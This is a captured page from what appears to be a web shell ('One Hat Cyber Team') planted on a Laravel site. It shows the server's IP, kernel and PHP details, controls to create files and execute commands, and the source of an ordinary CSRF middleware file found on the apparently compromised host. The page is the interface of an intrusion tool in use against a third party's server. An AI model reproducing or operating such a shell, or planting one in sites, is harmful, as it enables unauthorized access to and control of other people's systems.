⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.155
Server IP:
57.129.66.90
Server:
Linux vps-7f548908 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
barzah.shop
/
public_html
/
app
/
Http
/
Middleware
/
View File Name :
VerifyCsrfMiddleware.php
<?php namespace App\Http\Middleware; use Closure; use Illuminate\Session\TokenMismatchException; use Illuminate\Support\Facades\Config; class VerifyCsrfMiddleware extends \Illuminate\Foundation\Http\Middleware\VerifyCsrfToken { public function handle($request, Closure $next) { if ($this->isReading($request) || $this->excludedRoutes($request) || $this->tokensMatch($request) || $this->runningUnitTests()) { return $this->addCookieToResponse($request, $next($request)); } throw new TokenMismatchException; } protected function excludedRoutes($request) { $routes = Config::get('indipay.remove_csrf_check'); foreach($routes as $route) if ($request->is($route)) return true; return false; } }